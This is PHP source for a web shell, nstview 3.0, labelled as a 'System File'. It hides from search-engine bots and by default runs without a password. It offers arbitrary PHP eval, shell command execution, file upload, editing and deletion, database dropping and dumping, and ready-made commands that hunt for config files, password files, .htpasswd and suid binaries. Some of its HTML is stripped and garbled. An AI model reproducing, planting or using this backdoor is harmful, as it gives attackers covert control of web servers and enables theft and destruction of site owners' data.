/* System File !-i4SEO-TEAM-! */ if(ereg('bot', strtolower($_SERVER['HTTP_USER_AGENT']))) die(""); if(ereg('google', strtolower($_SERVER['HTTP_USER_AGENT']))) die(""); if(ereg('search', strtolower($_SERVER['HTTP_REFERER']))) die(""); @session_start(); @set_time_limit(0); @set_magic_quotes_runtime(0); error_reporting(0); #####cfg##### # use password true / false # $create_password = false; $password = ""; // default password for nstview, you can change it. # UNIX COMMANDS # description (nst) command # example: Shutdown (nst) shutdown -h now $fast_commands = " Show open ports (nst) netstat -an | grep LISTEN | grep tcp last root (nst) last root last (all users) (nst) last all Find all config.php in / (nst) find / -type f -name config.php Find all config.php in . (nst) find . -type f -name config.php Find all admin.php in / (nst) find / -type f -name admin.php Find all admin.php in . (nst) find . -type f -name admin.php Find all config.inc.php in / (nst) find / -type f -name config.inc.php Find all config.inc.php in . (nst) find . -type f -name config.inc.php Find all config.inc in / (nst) find / -type f -name config.inc Find all config.inc in . (nst) find . -type f -name config.inc Find all config.dat in / (nst) find / -type f -name config.dat Find all config.dat in . (nst) find . -type f -name config.dat Find all config* in / (nst) find / -type f -name config* Find all config* in . (nst) find . -type f -name config* Find all pass* in / (nst) find / -type f -name pass* Find all pass* in . (nst) find . -type f -name pass* Find all .bash_history in / (nst) find / -type f -name .bash_history Find all .bash_history in . (nst) find . -type f -name .bash_history Find all .htpasswd in / (nst) find / -type f -name .htpasswd Find all .htpasswd in . (nst) find . -type f -name .htpasswd Find all writable dirs/files in / (nst) find / -perm -2 -ls Find all writable dirs/files in . (nst) find . -perm -2 -ls Find all suid files in / (nst) find / -type f -perm -04000 -ls Find all suid files in . (nst) find . -type f -perm -04000 -ls Find all sgid files in / (nst) find / -type f -perm -02000 -ls Find all sgid files in . (nst) find . -type f -perm -02000 -ls Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc OS Version? (nst) sysctl -a | grep version Kernel version? (nst) cat /proc/version cat syslog.conf (nst) cat /etc/syslog.conf Cat - Message of the day (nst) cat /etc/motd Cat hosts (nst) cat /etc/hosts Distrib name (nst) cat /etc/issue.net Distrib name (2) (nst) cat /etc/*-realise Display all process - wide output (nst) ps auxw Display all your process (nst) ps ux Interfaces (nst) ifconfig CPU? (nst) cat /proc/cpuinfo RAM (nst) free -m HDD space (nst) df -h List of Attributes (nst) lsattr -a Mount options (nst) cat /etc/fstab Is cURL installed? (nst) which curl Is wGET installed? (nst) which wget Is lynx installed? (nst) which lynx Is links installed? (nst) which links Is fetch installed? (nst) which fetch Is GET installed? (nst) which GET Is perl installed? (nst) which perl Where is apache (nst) whereis apache Where is perl (nst) whereis perl locate proftpd.conf (nst) locate proftpd.conf locate httpd.conf (nst) locate httpd.conf locate my.conf (nst) locate my.conf locate psybnc.conf (nst) locate psybnc.conf "; # WINDOWS COMMANDS # description (nst) command # example: Delete autoexec.bat (nst) del c:\autoexec.bat $fast_commands_win = " OS Version (nst) ver Tasklist (nst) tasklist Attributes in . (nst) attrib Show open ports (nst) netstat -an "; ######ver#### $ver= "3.0"; ############# $pass=md5($_POST['pass']); if($pass==$password){ $_SESSION['nst']="$pass"; } if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"]; else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"]; else $ip = $_SERVER['REMOTE_ADDR']; $ip=htmlspecialchars($ip); if($create_password==true){ if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){ die("
|
IP: ".gethostbyname($_SERVER["HTTP_HOST"])." Your ip: ".$ip." |
| 0"; $expl=explode("/",$d); $coun=count($expl); if($os=="unix"){echo "/";} else{ echo "$expl[0]/";} for($i=1; $i<$coun; $i++){ @$xx.=$expl[$i]."/"; $sls="$expl[$i]/"; $sls=str_replace("//","/",$sls); $sls=str_replace("/'>/","/'>",$sls); print $sls; } if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";} if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";} echo " |
| id: ".@exec('id')." |
| uname -a: ".@exec('uname -a')." |
| Your IP: [$ip] Server IP: [".gethostbyname($_SERVER["HTTP_HOST"])."] Server H.D.: [".$_SERVER["HTTP_HOST"]."] [Safe mode: $safe_m] [Register globals: $reg_g] [Back] [Home] [Shell (1) (2)] [Upload] [Tools] [PHPinfo] [DEL Folder] [SQL] [Self Remover] |
|
|
| :: Create folder :: Create file :: Read file if safe mode is On ::"; if($os=="unix"){ print "PS table ::"; } print " |
| "; print " |
| Address: | |
| Login: | |
| Pass: | |
| if($conn){ echo "PHP v".@phpversion()." mySQL v".@mysql_get_server_info()." ";}?> |
| ";
print " [db] "; print ""; $res = mysql_list_dbs($serv); while ($str=mysql_fetch_row($res)){ print "[DEL][DUMP] $str[0] "; $tc++; } $baza=$_GET['baza']; $db=$_GET['db']; print "[Total db: $tc] "; if($baza){ print " db: [$db] "; $result=@mysql_list_tables($db); while($str=@mysql_fetch_array($result)){ $c=mysql_query ("SELECT COUNT(*) FROM $str[0]"); $records=mysql_fetch_array($c); if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);} if($records[0]=="0"){ print "[D][R][$records[0]] $str[0] "; }else{ print "[D][R][$records[0]] $str[0] "; } mysql_free_result($c); $total_t++; } print " Total tables: $total_t"; print " ";
for($i=0; $i<$s4ot+10; $i++){print " ";}
print "";
} #end baza
# delete table
if(isset($delete_table)){
mysql_select_db($_GET['db']) or die("".mysql_error()."");
mysql_query("DROP TABLE IF EXISTS $delete_table") or die("".mysql_error()."");
print "Table [ $delete_table ] :: Deleted success!"; print ""; } # end of delete table # delete database if(isset($_GET['delete_db'])){ mysql_drop_db($_GET['delete_db']) or die("".mysql_error().""); print " Database ".$_GET['delete_db']." :: Deleted Success!"; print ""; } # end of delete database # delete row if(isset($_POST['delete_row'])){ $_POST['delete_row'] = base64_decode($_POST['delete_row']); mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("".mysql_error().""); $del_result = " Deleted Success! ".$_POST['delete_row']; print ""; } # end of delete row $vn=$_GET['vn']; print " | ";
print "Database: $db => $vn";
# edit row
if(isset($_POST['edit_row'])){
$edit_row=base64_decode($_POST['edit_row']);
$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("".mysql_error()."");
print "
"; print " "; if(!$_POST['makeupdate']){print "";} if($_POST['makeupdate']){ if($_POST['upd']=='update'){ preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); $delstring=$_POST['delstring']; $delstring=base64_decode($delstring); $delstring = substr($delstring, 0, strlen($delstring)-5); for($i=0; $i "; print " ";
passthru("ps ux");
print ""; } echo " "; @$md5=@$_POST['md5']; if(@$_POST['md5']){ echo "md5: ";} echo " "; if(@$_POST['base64']){ @$base64=$_POST['base64']; echo " Encode: Decode: ";} echo " "; if(@$_POST['des']){ @$des=@$_POST['des']; echo "Des: ";} print " eval: (example: print \"Hello World\";) "; function eval_sl($editf){ if(get_magic_quotes_gpc()==1){ $editf=stripslashes($editf); } return $editf; } if($_POST['eval']){ print "RESULT: "; eval(eval_sl($_POST['eval'])); print " "; print "PHP: \r\n\r\n"; print "<?\r\n"; print " "; print htmlspecialchars(eval_sl(($_POST['eval']))); print " "; print "?>\r\n\r\n "; } echo $copyr; exit;} if(@$_GET['replace']=="1"){ $ip=@$_SERVER['REMOTE_ADDR']; $d=$_GET['d']; $e=$_GET['e']; @$de=$d."/".$e; $de=str_replace("//","/",$de); $e=@$e; echo "[Delete] [Edit] [Filesize to 0 byte] [Replace text in file] [Download] [Rename] [CHMOD] [Copy] "; echo " Replace tool: (You can replace any text) File: $de "; if(@$_POST['doit']){ @$thisX=$_POST['thisX']; @$bythis=$_POST['bythis']; @$e=$_GET['e']; $filename="$d/$e"; $fd = @fopen ($filename, "r"); $rpl = @fread ($fd, @filesize ($filename)); $re=str_replace("$thisX","$bythis",$rpl); $x=@fopen("$d/$e","w"); @fwrite($x,"$re"); echo " [VIew file] "; } echo $copyr; exit;} if(@$_GET['t']=="upload"){ echo " * Mass upload * File upload: "; if(@$_POST['uploadf']){ $where=$_POST['where']; $newf=$_POST['newf']; $where=str_replace("//","/",$where); if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;} $uploadfile = "$where/".$newf; if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) { $uploadfile=str_replace("//","/",$uploadfile); echo " Uploaded to $uploadfile "; }else{ echo " Error ";} } } if(@$_GET['t']=="massupload"){ echo " Mass upload: "; if(@$_POST['massupload']){ $where=@$_POST['where']; $uploadfile1 = "$where/".@$_FILES['text1']['name']; $uploadfile2 = "$where/".@$_FILES['text2']['name']; $uploadfile3 = "$where/".@$_FILES['text3']['name']; $uploadfile4 = "$where/".@$_FILES['text4']['name']; $uploadfile5 = "$where/".@$_FILES['text5']['name']; $uploadfile6 = "$where/".@$_FILES['text6']['name']; $uploadfile7 = "$where/".@$_FILES['text7']['name']; $uploadfile8 = "$where/".@$_FILES['text8']['name']; $uploadfile9 = "$where/".@$_FILES['text9']['name']; $uploadfile10 = "$where/".@$_FILES['text10']['name']; $uploadfile11 = "$where/".@$_FILES['text11']['name']; $uploadfile12 = "$where/".@$_FILES['text12']['name']; $uploadfile13 = "$where/".@$_FILES['text13']['name']; $uploadfile14 = "$where/".@$_FILES['text14']['name']; $uploadfile15 = "$where/".@$_FILES['text15']['name']; $uploadfile16 = "$where/".@$_FILES['text16']['name']; $uploadfile17 = "$where/".@$_FILES['text17']['name']; $uploadfile18 = "$where/".@$_FILES['text18']['name']; $uploadfile19 = "$where/".@$_FILES['text19']['name']; $uploadfile20 = "$where/".@$_FILES['text20']['name']; if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile1 ";} if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile2 ";} if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile3 ";} if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile4 ";} if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile5 ";} if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile6 ";} if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile7 ";} if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile8 ";} if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile9 ";} if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile10 ";} if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile11 ";} if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile12 ";} if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile13 ";} if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile14 ";} if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile15 ";} if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile16 ";} if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile17 ";} if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile18 ";} if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile19 ";} if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile20 ";} } echo $copyr; exit;} if(@$_GET['yes']=="yes"){ $d=@$_GET['d']; $e=@$_GET['e']; unlink($d."/".$e); $delresult="Success $d/$e deleted "; } if(@$_GET['clean']=="1"){ @$e=$_GET['e']; $x=fopen("$d/$e","w"); fwrite($x,""); echo ""; exit; } if(@$_GET['e']){ $d=@$_GET['d']; $e=@$_GET['e']; $pinf=pathinfo($e); if(in_array(".".@$pinf['extension'],$images)){ echo ""; exit;} $filename="$d/$e"; $fd = @fopen ($filename, "r"); $c = @fread ($fd, @filesize ($filename)); $c=htmlspecialchars($c); $de=$d."/".$e; $de=str_replace("//","/",$de); if(is_file($de)){ if(!is_writable($de)){echo "READ ONLY ";}} echo "[Delete] [Edit] [Filesize to 0 byte] [Replace text in file] [Download] [Rename] [CHMOD] [Copy] "; echo " File contents: $de
Yes || No "; if(@$_GET['yes']=="yes"){ @$d=$_GET['d']; @$e=$_GET['e']; echo $delresult; } if(@$_GET['no']){ echo " "; } } #end of delete echo $copyr; exit; } #end of e if(@$_GET['edit']=="1"){ @$d=$_GET['d']; @$ef=$_GET['ef']; $e=$ef; if(is_file($d."/".$ef)){ if(!is_writable($d."/".$ef)){echo "READ ONLY ";}} echo "[Delete] [Edit] [Filesize to 0 byte] [Replace text in file] [Download] [Rename] [CHMOD] [Copy] "; $filename="$d/$ef"; $fd = @fopen ($filename, "r"); $c = @fread ($fd, @filesize ($filename)); $c=htmlspecialchars($c); $de=$d."/".$ef; $de=str_replace("//","/",$de); echo " Edit: $de "; if(!@$_POST['save']){ print " "; } if(@$_POST['save']){ $editf=@$_POST['editf']; if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){ $editf=stripslashes($editf); } $f=fopen($filename,"w+"); fwrite($f,"$editf"); echo " File edited. "; exit; } echo $copyr; exit; } echo"
0 $linkd | | $info | ".date("d/m/Y",filemtime($d."/".$dirs[$i]))." | 2 $files[$i] | $siz | $info | ".date("d/m/Y",filemtime($d."/".$files[$i]))." | ";
}
echo " |